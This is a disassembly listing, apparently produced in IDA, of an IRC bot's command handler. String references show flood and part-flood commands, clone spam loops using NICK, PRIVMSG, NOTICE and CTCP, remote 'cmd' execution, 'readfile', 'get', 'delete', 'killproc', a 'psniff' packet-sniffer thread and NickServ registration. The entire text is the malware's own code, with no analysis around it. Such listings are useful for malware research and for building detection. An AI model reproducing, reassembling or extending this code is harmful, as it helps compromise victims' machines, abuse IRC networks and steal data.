loc_404BA0:				; CODE XREF: sub_401ACD+30BBj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B9AC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404BB1:				; CODE XREF: sub_401ACD+2FEFj
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057B7
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		push	edi
		push	offset aLoad	; "load"
		call	sub_41CA50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CB7
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CB7
		push	[ebp+esi+var_80]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417E06
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B944
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CB7
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_404CB7:				; CODE XREF: sub_401ACD+3173j
					; sub_401ACD+3179j ...
		push	edi
		push	offset dword_42B940
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D21
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D21
		push	offset asc_42CDC8 ; " "
		push	offset dword_42B93C
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B92C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D21:				; CODE XREF: sub_401ACD+31F9j
					; sub_401ACD+3204j
		push	edi
		push	offset dword_42B928
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D8B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D8B
		push	offset asc_42CDC8 ; " "
		push	offset dword_42B93C
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B914
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D8B:				; CODE XREF: sub_401ACD+3263j
					; sub_401ACD+326Ej
		push	edi
		push	offset aNt	; "nt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DF5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DF5
		push	offset asc_42CDC8 ; " "
		push	offset dword_42B93C
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404DF5:				; CODE XREF: sub_401ACD+32CDj
					; sub_401ACD+32D8j
		push	edi
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E5F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E5F
		push	offset asc_42CDC8 ; " "
		push	offset dword_42B93C
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404E5F:				; CODE XREF: sub_401ACD+3337j
					; sub_401ACD+3342j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E9C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404E9C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404E9C:				; CODE XREF: sub_401ACD+33A1j
					; sub_401ACD+33ACj
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404ED9
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404ED9
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404ED9:				; CODE XREF: sub_401ACD+33DEj
					; sub_401ACD+33E9j
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F1B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F1B
		push	offset dword_427620
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404F1B:				; CODE XREF: sub_401ACD+341Bj
					; sub_401ACD+3426j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F92
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404F92
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B8A4
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404F92:				; CODE XREF: sub_401ACD+345Dj
					; sub_401ACD+3466j
		push	edi
		push	offset dword_42B890
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050E9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050E9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427620
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4050E9:				; CODE XREF: sub_401ACD+34D4j
					; sub_401ACD+34E1j
		push	edi
		push	offset dword_42B88C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405181
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405181
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B864
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 24h


loc_405181:				; CODE XREF: sub_401ACD+362Bj
					; sub_401ACD+3638j
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405289
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405289
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_405289:				; CODE XREF: sub_401ACD+36C3j
					; sub_401ACD+36D2j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4052CE
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4052CE:				; CODE XREF: sub_401ACD+37CBj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053C3
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4053C3
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset dword_42B92C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B92C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B92C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4053C3:				; CODE XREF: sub_401ACD+3810j
					; sub_401ACD+381Dj
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054B8
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054B8
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4054B8:				; CODE XREF: sub_401ACD+3905j
					; sub_401ACD+3912j
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055D9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055D9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B81C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B804
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7EC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7EC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4055D9:				; CODE XREF: sub_401ACD+39FAj
					; sub_401ACD+3A07j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405709
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405709
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B81C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_427080	; Sleep
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_405709:				; CODE XREF: sub_401ACD+3B1Bj
					; sub_401ACD+3B28j
		push	edi
		push	offset aRegister ; "register"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40574D
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40574D
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_40574D:				; CODE XREF: sub_401ACD+3C4Bj
					; sub_401ACD+3C56j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40619B
		mov	[ebp+arg_18], offset dword_4D4A6C


loc_405769:				; CODE XREF: sub_401ACD+3CC0j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40577F
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40577F
		push	eax
		call	dword_4CBA7C	; closesocket


loc_40577F:				; CODE XREF: sub_401ACD+3CA3j
					; sub_401ACD+3CA9j
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4DB18C
		jl	short loc_405769
		cmp	[ebp+var_8], ebx
		jnz	loc_40619B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B78C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_40619B
; ---------------------------------------------------------------------------


loc_4057B7:				; CODE XREF: sub_401ACD+3151j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aCmd	; "cmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C9F
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C67
		push	20h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405B91
		push	offset dword_42B694
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405B91:				; CODE XREF: sub_401ACD+40B8j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405BD3
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB98
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BD3
		mov	esi, [ebp+var_88]


loc_405BD3:				; CODE XREF: sub_401ACD+40E8j
					; sub_401ACD+40FEj
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B664
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset sub_412B61
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_405C56


loc_405C40:				; CODE XREF: sub_401ACD+4187j
		cmp	[ebp+var_ECC], ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_405C40
; ---------------------------------------------------------------------------


loc_405C56:				; CODE XREF: sub_401ACD+4171j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
